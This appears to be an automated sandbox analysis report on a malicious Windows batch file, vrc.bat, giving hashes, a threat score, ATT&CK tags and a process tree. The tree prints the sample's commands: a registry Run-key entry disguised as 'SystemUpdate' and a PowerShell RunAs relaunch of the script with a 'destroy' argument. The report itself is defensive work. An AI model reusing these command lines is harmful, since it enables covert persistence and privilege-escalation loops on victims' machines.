e642905f9229a97a48fd185b38f25fbe90068d0744c1b7452cbdb3cf18afb3bc

Analysis

max time kernel
42s
max time network
484s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/07/2026, 02:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
vrc.bat
Size 1KB
Sample260722-c3p8bacm2x
SHA256 e642905f9229a97a48fd185b38f25fbe90068d0744c1b7452cbdb3cf18afb3bc
MD5 90bdf84cb572438036695be825756cac
SHA1 37307f033747501e8083a9bdb4626ee5145b3c1b
SHA512 4418bb4264fe1d6eb2f154c6625f488e9a14204b55960ae43897cde5621e46c5411b3c9cbaa9eac9de1dc373f63a1337efef15e77a800dfdc62b2245ac7c9ac4
TLSH
T17931AB2EFB16A0A480948CE08C39D513FA5531DFA901DE91318E50AADB07BC63BB49ED
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion discovery execution exploit persistence

Malware Config

Signatures

Possible privilege escalation attempt 43 IoCs

exploit

pid	Process
2948	takeown.exe
4800	takeown.exe
5012	takeown.exe
1252	takeown.exe
6132	takeown.exe
996	takeown.exe
1832	takeown.exe
4116	takeown.exe
1692	takeown.exe
2932	takeown.exe
5972	takeown.exe
624	takeown.exe
4724	takeown.exe
5732	takeown.exe
2800	takeown.exe
5032	takeown.exe
5816	takeown.exe
4152	takeown.exe
3276	takeown.exe
5640	takeown.exe
4692	takeown.exe
5684	takeown.exe
4376	takeown.exe
4204	takeown.exe
5472	takeown.exe
5260	takeown.exe
5856	takeown.exe
5256	takeown.exe
2904	takeown.exe
4368	takeown.exe
476	icacls.exe
1476	takeown.exe
2636	takeown.exe
1920	takeown.exe
4168	takeown.exe
4416	takeown.exe
2116	takeown.exe
1664	takeown.exe
2996	takeown.exe
5352	takeown.exe
1288	takeown.exe
1712	takeown.exe
4860	takeown.exe

Modifies file permissions 1 TTPs 43 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4168	takeown.exe
4368	takeown.exe
2932	takeown.exe
1692	takeown.exe
4152	takeown.exe
5012	takeown.exe
996	takeown.exe
4860	takeown.exe
4116	takeown.exe
4376	takeown.exe
5032	takeown.exe
5256	takeown.exe
1476	takeown.exe
1288	takeown.exe
624	takeown.exe
5684	takeown.exe
5816	takeown.exe
2116	takeown.exe
1920	takeown.exe
476	icacls.exe
5972	takeown.exe
1664	takeown.exe
2800	takeown.exe
5472	takeown.exe
2996	takeown.exe
4204	takeown.exe
3276	takeown.exe
5640	takeown.exe
1252	takeown.exe
4724	takeown.exe
5732	takeown.exe
5856	takeown.exe
4800	takeown.exe
5260	takeown.exe
5352	takeown.exe
1712	takeown.exe
6132	takeown.exe
4692	takeown.exe
2948	takeown.exe
2636	takeown.exe
4416	takeown.exe
2904	takeown.exe
1832	takeown.exe

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\system32update.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\system32update.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\system32update.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\system32update.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\system32update.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\system32update.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\system32update.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\system32update.bat"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 44 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
5208	powershell.exe
1980	powershell.exe
3864	powershell.exe
2388	powershell.exe
4536	powershell.exe
2696	powershell.exe
2804	powershell.exe
5592	powershell.exe
3608	powershell.exe
1904	powershell.exe
5580	powershell.exe
5148	powershell.exe
6116	powershell.exe
2380	powershell.exe
1364	powershell.exe
2876	powershell.exe
4792	powershell.exe
3580	powershell.exe
4640	powershell.exe
4292	powershell.exe
3972	powershell.exe
5944	powershell.exe
2028	powershell.exe
1716	powershell.exe
3616	powershell.exe
5344	powershell.exe
2544	powershell.exe
3420	powershell.exe
3040	powershell.exe
4564	powershell.exe
684	powershell.exe
3480	powershell.exe
5904	powershell.exe
5924	powershell.exe
256	powershell.exe
4512	powershell.exe
2496	powershell.exe
4516	powershell.exe
4712	powershell.exe
3376	powershell.exe
3032	powershell.exe
4996	powershell.exe
1576	powershell.exe
3516	powershell.exe

Executes a command shell one-liner 1 TTPs 43 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3320	cmd.exe
4928	cmd.exe
2472	cmd.exe
2840	cmd.exe
5252	cmd.exe
2676	cmd.exe
4864	cmd.exe
5368	cmd.exe
1216	cmd.exe
3820	cmd.exe
3388	cmd.exe
2416	cmd.exe
6068	cmd.exe
4764	cmd.exe
3312	cmd.exe
1916	cmd.exe
3940	cmd.exe
1888	cmd.exe
4776	cmd.exe
1972	cmd.exe
4876	cmd.exe
2672	cmd.exe
3780	cmd.exe
5080	cmd.exe
2220	cmd.exe
2044	cmd.exe
2868	cmd.exe
456	cmd.exe
3528	cmd.exe
4284	cmd.exe
200	cmd.exe
1784	cmd.exe
5644	cmd.exe
5020	cmd.exe
4252	cmd.exe
3188	cmd.exe
4084	cmd.exe
4452	cmd.exe
1624	cmd.exe
4976	cmd.exe
1000	cmd.exe
4000	cmd.exe
3604	cmd.exe

Delays execution with timeout.exe 64 IoCs

defense_evasion

pid	Process
3464	timeout.exe
5040	timeout.exe
3048	timeout.exe
2884	timeout.exe
4852	timeout.exe
1032	timeout.exe
4312	timeout.exe
3880	timeout.exe
5896	timeout.exe
1544	timeout.exe
4504	timeout.exe
1920	timeout.exe
2664	timeout.exe
4660	timeout.exe
5536	timeout.exe
5328	timeout.exe
3832	timeout.exe
4152	timeout.exe
612	timeout.exe
5984	timeout.exe
5960	timeout.exe
2488	timeout.exe
2692	timeout.exe
2748	timeout.exe
2252	timeout.exe
1944	timeout.exe
4708	timeout.exe
4592	timeout.exe
1068	timeout.exe
4124	timeout.exe
1904	timeout.exe
2208	timeout.exe
6068	timeout.exe
3456	timeout.exe
2132	timeout.exe
2308	timeout.exe
1340	timeout.exe
3964	timeout.exe
2368	timeout.exe
4776	timeout.exe
5056	timeout.exe
4884	timeout.exe
5008	timeout.exe
4704	timeout.exe
2256	timeout.exe
3276	timeout.exe
4864	timeout.exe
3568	timeout.exe
2268	timeout.exe
4576	timeout.exe
2664	timeout.exe
5204	timeout.exe
5352	timeout.exe
2844	timeout.exe
3288	timeout.exe
2256	timeout.exe
1832	timeout.exe
4780	timeout.exe
4540	timeout.exe
3580	timeout.exe
5092	timeout.exe
2140	timeout.exe
5360	timeout.exe
5144	timeout.exe

Modifies registry key 1 TTPs 44 IoCs

Modify Registry

T1112

pid	Process
2608	reg.exe
4400	reg.exe
4832	reg.exe
4440	reg.exe
5700	reg.exe
612	reg.exe
3524	reg.exe
4540	reg.exe
4984	reg.exe
620	reg.exe
3224	reg.exe
1544	reg.exe
1924	reg.exe
5856	reg.exe
5176	reg.exe
2652	reg.exe
5472	reg.exe
180	reg.exe
2208	reg.exe
3356	reg.exe
6048	reg.exe
2748	reg.exe
1200	reg.exe
2036	reg.exe
5632	reg.exe
1884	reg.exe
4792	reg.exe
5576	reg.exe
5220	reg.exe
2372	reg.exe
2676	reg.exe
2748	reg.exe
5064	reg.exe
4660	reg.exe
1508	reg.exe
2268	reg.exe
936	reg.exe
4760	reg.exe
3544	reg.exe
2372	reg.exe
2992	reg.exe
3184	reg.exe
2132	reg.exe
4592	reg.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
4516	powershell.exe
4516	powershell.exe
3480	powershell.exe
3480	powershell.exe
3480	powershell.exe
5148	powershell.exe
5148	powershell.exe
5148	powershell.exe
2696	powershell.exe
2696	powershell.exe
2696	powershell.exe
4712	powershell.exe
4712	powershell.exe
4712	powershell.exe
5208	powershell.exe
5208	powershell.exe
5208	powershell.exe
6116	powershell.exe
6116	powershell.exe
6116	powershell.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4516	powershell.exe
Token: SeDebugPrivilege	3480	powershell.exe
Token: SeTakeOwnershipPrivilege	4692	takeown.exe
Token: SeTakeOwnershipPrivilege	2948	takeown.exe
Token: SeDebugPrivilege	5148	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeTakeOwnershipPrivilege	4800	takeown.exe
Token: SeTakeOwnershipPrivilege	5012	takeown.exe
Token: SeDebugPrivilege	4712	powershell.exe
Token: SeDebugPrivilege	5208	powershell.exe
Token: SeTakeOwnershipPrivilege	5640	takeown.exe
Token: SeTakeOwnershipPrivilege	4168	takeown.exe
Token: SeDebugPrivilege	6116	powershell.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 3188 wrote to memory of 5032	3188	cmd.exe	90
PID 3188 wrote to memory of 2372	3188	cmd.exe	91
PID 3188 wrote to memory of 2256	3188	cmd.exe	92
PID 3188 wrote to memory of 4516	3188	cmd.exe	97
PID 4516 wrote to memory of 3604	4516	powershell.exe	98
PID 3604 wrote to memory of 260	3604	cmd.exe	100
PID 3604 wrote to memory of 4660	3604	cmd.exe	102
PID 3604 wrote to memory of 6068	3604	cmd.exe	103
PID 3188 wrote to memory of 1068	3188	cmd.exe	104
PID 3480 wrote to memory of 2868	3480	powershell.exe	105
PID 2868 wrote to memory of 2084	2868	cmd.exe	108
PID 2868 wrote to memory of 1884	2868	cmd.exe	109
PID 2868 wrote to memory of 3288	2868	cmd.exe	110
PID 3188 wrote to memory of 4692	3188	cmd.exe	111
PID 3604 wrote to memory of 5148	3604	cmd.exe	113
PID 5148 wrote to memory of 456	5148	powershell.exe	114
PID 3604 wrote to memory of 4124	3604	cmd.exe	116
PID 456 wrote to memory of 2272	456	cmd.exe	117
PID 456 wrote to memory of 2608	456	cmd.exe	118
PID 456 wrote to memory of 5856	456	cmd.exe	119
PID 2868 wrote to memory of 2696	2868	cmd.exe	120
PID 2696 wrote to memory of 2672	2696	powershell.exe	121
PID 2672 wrote to memory of 792	2672	cmd.exe	123
PID 2672 wrote to memory of 1924	2672	cmd.exe	124
PID 2672 wrote to memory of 5252	2672	cmd.exe	125
PID 2868 wrote to memory of 2524	2868	cmd.exe	126
PID 3604 wrote to memory of 4800	3604	cmd.exe	127
PID 2868 wrote to memory of 5012	2868	cmd.exe	128
PID 456 wrote to memory of 4712	456	cmd.exe	129
PID 4712 wrote to memory of 3528	4712	powershell.exe	130
PID 3528 wrote to memory of 2664	3528	cmd.exe	132
PID 3528 wrote to memory of 4792	3528	cmd.exe	133
PID 456 wrote to memory of 3276	456	cmd.exe	192
PID 3528 wrote to memory of 5448	3528	cmd.exe	135
PID 2672 wrote to memory of 5208	2672	cmd.exe	136
PID 5208 wrote to memory of 4284	5208	powershell.exe	137
PID 4284 wrote to memory of 1524	4284	cmd.exe	139
PID 4284 wrote to memory of 5576	4284	cmd.exe	140
PID 4284 wrote to memory of 2308	4284	cmd.exe	141
PID 2672 wrote to memory of 5536	2672	cmd.exe	142
PID 456 wrote to memory of 5640	456	cmd.exe	143
PID 2672 wrote to memory of 4168	2672	cmd.exe	144
PID 3528 wrote to memory of 6116	3528	cmd.exe	145

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\vrc.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3188
- C:\Windows\system32\mode.com
  mode con cols=140 lines=60
  2⤵
  PID:5032
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2372
- C:\Windows\system32\timeout.exe
  timeout /t 10 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4516
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3604
  - - C:\Windows\system32\mode.com
      mode con cols=140 lines=60
      4⤵
      PID:260
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:4660
  - - C:\Windows\system32\timeout.exe
      timeout /t 10 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:6068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5148
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:456
      - C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        6⤵
        
        PID:2272
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2608
      - C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        6⤵
        
        PID:5856
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4712
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        7⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3528
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        8⤵
        
        PID:2664
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        8⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:4792
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        8⤵
        
        PID:5448
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6116
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        9⤵
        Executes a command shell one-liner
        
        PID:3320
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        10⤵
        
        PID:2168
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        10⤵
        Modifies registry key
        
        PID:3184
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        10⤵
        Delays execution with timeout.exe
        
        PID:2368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1980
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        11⤵
        Executes a command shell one-liner
        
        PID:4084
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        12⤵
        
        PID:4292
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        12⤵
        Modifies registry key
        
        PID:5220
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        12⤵
        Delays execution with timeout.exe
        
        PID:5328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2380
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        13⤵
        Executes a command shell one-liner
        
        PID:2044
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        14⤵
        
        PID:4788
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        14⤵
        Modifies registry key
        
        PID:5856
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        14⤵
        
        PID:3584
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3516
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        15⤵
        Executes a command shell one-liner
        
        PID:5020
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        16⤵
        
        PID:1916
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        16⤵
        Modifies registry key
        
        PID:2372
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        16⤵
        
        PID:5080
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2876
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        17⤵
        Executes a command shell one-liner
        
        PID:200
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        18⤵
        
        PID:1904
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        18⤵
        Modifies registry key
        
        PID:2652
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        18⤵
        
        PID:3140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3864
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        19⤵
        Executes a command shell one-liner
        
        PID:3780
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        20⤵
        
        PID:5440
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        20⤵
        Modifies registry key
        
        PID:2132
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        20⤵
        Delays execution with timeout.exe
        
        PID:2268
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        20⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5592
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        21⤵
        Executes a command shell one-liner
        
        PID:4252
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        22⤵
        
        PID:3568
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        22⤵
        Modifies registry key
        
        PID:4540
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        22⤵
        
        PID:3444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        22⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2544
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        23⤵
        Executes a command shell one-liner
        
        PID:1216
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        24⤵
        
        PID:5868
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        24⤵
        Modifies registry key
        
        PID:2676
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        24⤵
        
        PID:2556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        24⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5904
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        25⤵
        Executes a command shell one-liner
        
        PID:4928
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        26⤵
        
        PID:5816
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        26⤵
        Modifies registry key
        
        PID:3356
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        26⤵
        
        PID:3960
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        26⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3032
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        27⤵
        Executes a command shell one-liner
        
        PID:4776
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        28⤵
        
        PID:5616
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        28⤵
        Modifies registry key
        
        PID:4984
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        28⤵
        Delays execution with timeout.exe
        
        PID:1832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        28⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2388
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        29⤵
        Executes a command shell one-liner
        
        PID:2472
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        30⤵
        
        PID:1912
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        30⤵
        Modifies registry key
        
        PID:2748
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        30⤵
        Delays execution with timeout.exe
        
        PID:4780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        30⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1716
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        31⤵
        Executes a command shell one-liner
        
        PID:3820
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        32⤵
        
        PID:5820
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        32⤵
        Modifies registry key
        
        PID:4440
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        32⤵
        Delays execution with timeout.exe
        
        PID:5008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        32⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4996
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        33⤵
        Executes a command shell one-liner
        
        PID:1972
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        34⤵
        
        PID:1516
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        34⤵
        Modifies registry key
        
        PID:5064
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        34⤵
        Delays execution with timeout.exe
        
        PID:3964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        34⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:256
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        35⤵
        Executes a command shell one-liner
        
        PID:2840
        
